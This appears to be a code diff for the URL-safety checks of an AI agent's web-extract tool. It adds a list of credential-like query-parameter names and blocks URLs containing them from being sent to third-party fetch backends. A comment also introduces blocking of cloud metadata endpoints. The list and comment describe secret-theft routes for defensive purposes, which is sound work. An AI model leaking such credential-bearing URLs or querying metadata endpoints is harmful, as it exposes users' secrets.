return urlunsplit((parsed.scheme, netloc, path, query, fragment))
|
||||
|
||||
|
||||
_SENSITIVE_QUERY_PARAM_NAMES = frozenset({
|
||||
"access_token",
|
||||
"api_key",
|
||||
"apikey",
|
||||
"auth",
|
||||
"auth_token",
|
||||
"authorization",
|
||||
"awsaccesskeyid",
|
||||
"client_secret",
|
||||
"code",
|
||||
"credential",
|
||||
"credentials",
|
||||
"key",
|
||||
"jwt",
|
||||
"password",
|
||||
"passwd",
|
||||
"secret",
|
||||
"session",
|
||||
"session_id",
|
||||
"sig",
|
||||
"signature",
|
||||
"token",
|
||||
"x_amz_security_token",
|
||||
"x_amz_signature",
|
||||
"x-amz-security-token",
|
||||
"x-amz-signature",
|
||||
})
|
||||
|
||||
|
||||
def sensitive_query_param_name(url: str) -> Optional[str]:
|
||||
"""Return the first sensitive query parameter name in ``url``, if any.
|
||||
|
||||
Used before handing URLs to third-party fetch/browser backends. Prefix-based
|
||||
token redaction catches known credential shapes; this catches opaque magic
|
||||
links, OAuth codes, signed URL signatures, and custom ``?token=...`` values
|
||||
that do not have a recognizable vendor prefix.
|
||||
"""
|
||||
if not isinstance(url, str) or "?" not in url:
|
||||
return None
|
||||
try:
|
||||
parsed = urlsplit(url.strip())
|
||||
except ValueError:
|
||||
return None
|
||||
if parsed.scheme.lower() not in {"http", "https"} or not parsed.query:
|
||||
return None
|
||||
for key, value in parse_qsl(parsed.query, keep_blank_values=True):
|
||||
if value and unquote(key).lower() in _SENSITIVE_QUERY_PARAM_NAMES:
|
||||
return key
|
||||
return None
|
||||
|
||||
|
||||
def has_sensitive_query_params(url: str) -> bool:
|
||||
"""Return True when ``url`` carries likely credential-bearing query params."""
|
||||
return sensitive_query_param_name(url) is not None
|
||||
|
||||
# Hostnames that should always be blocked regardless of IP resolution
|
||||
# or any config toggle. These are cloud metadata endpoints that an
|
||||
# attacker could use to steal instance credentials.
|
||||
|
|
|
|||
|
|
@ -97,7 +97,7 @@ from tools.tool_backend_helpers import ( # noqa: F401
|
|||
nous_tool_gateway_unavailable_message,
|
||||
prefers_gateway,
|
||||
)
|
||||
from tools.url_safety import async_is_safe_url, normalize_url_for_request
|
||||
from tools.url_safety import async_is_safe_url, normalize_url_for_request, sensitive_query_param_name
|
||||
import sys
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
|
@ -659,6 +659,17 @@ async def web_extract_tool(
|
|||
"error": "Blocked: URL contains what appears to be an API key or token. "
|
||||
"Secrets must not be sent in URLs.",
|
||||
})
|
||||
sensitive_query_key = sensitive_query_param_name(normalized_url)
|
||||
if sensitive_query_key:
|
||||
return json.dumps({
|
||||
"success": False,
|
||||
"error": (
|
||||
"Blocked: URL contains a credential-like query parameter "
|
||||
f"({sensitive_query_key}). Web extract backends are third-party "
|
||||
"readers; remove the sensitive query parameter or use a local "
|
||||
"browser session when this access is explicitly required."
|
||||
),
|
||||
})
|
||||
normalized_urls.append(normalized_url)
|
||||
|
||||
debug_call_data = {
|
||||
|
|
|
|||
Loading…
Reference in New Issue